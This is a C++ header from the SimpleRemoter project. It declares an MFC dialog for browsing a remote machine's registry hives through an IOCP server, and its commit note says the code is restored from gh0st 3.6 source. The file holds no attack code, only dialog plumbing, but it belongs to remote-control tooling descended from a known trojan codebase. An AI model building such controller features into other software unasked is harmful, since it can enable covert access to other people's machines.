Files
SimpleRemoter/server/2015Remote/RegisterDlg.h
yuanyuanxiang 681ab9bd82 修复注册表管理窗口关闭时崩溃的缺陷
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.

2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。

3、打开注册表关闭后崩溃,参照按对文件管理窗口的修改进行处理。遗留问题:并无内存泄漏,但退出时报"HEAP: Free Heap
modified after it was freed"问题。
2019-01-12 18:21:42 +08:00

49 lines
1.3 KiB
C++

#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
// CRegisterDlg 对话框
class CRegisterDlg : public CDialog
{
DECLARE_DYNAMIC(CRegisterDlg)
public:
CRegisterDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
virtual ~CRegisterDlg();
CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer;
// 对话框数据
enum { IDD = IDD_DIALOG_REGISTER };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
BOOL m_bIsClosed; // 即将关闭
BOOL m_bIsWorking;// 正在处理注册表
CTreeCtrl m_Tree;
CImageList m_ImageListTree; //树控件上的图标
CListCtrl m_ControlList;
CImageList m_ImageListControlList; //ControlList上的图标
HICON m_hIcon;
virtual BOOL OnInitDialog();
afx_msg void OnClose();
HTREEITEM m_hRoot;
HTREEITEM HKLM;
HTREEITEM HKCR;
HTREEITEM HKCU;
HTREEITEM HKUS;
HTREEITEM HKCC;
HTREEITEM m_hSelectedItem;
BOOL m_isEnable;
char CRegisterDlg::GetFatherPath(CString& strFullPath);
CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent);
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
void CRegisterDlg::OnReceiveComplete(void);
void CRegisterDlg::AddPath(char* szBuffer);
void CRegisterDlg::AddKey(char* szBuffer);
};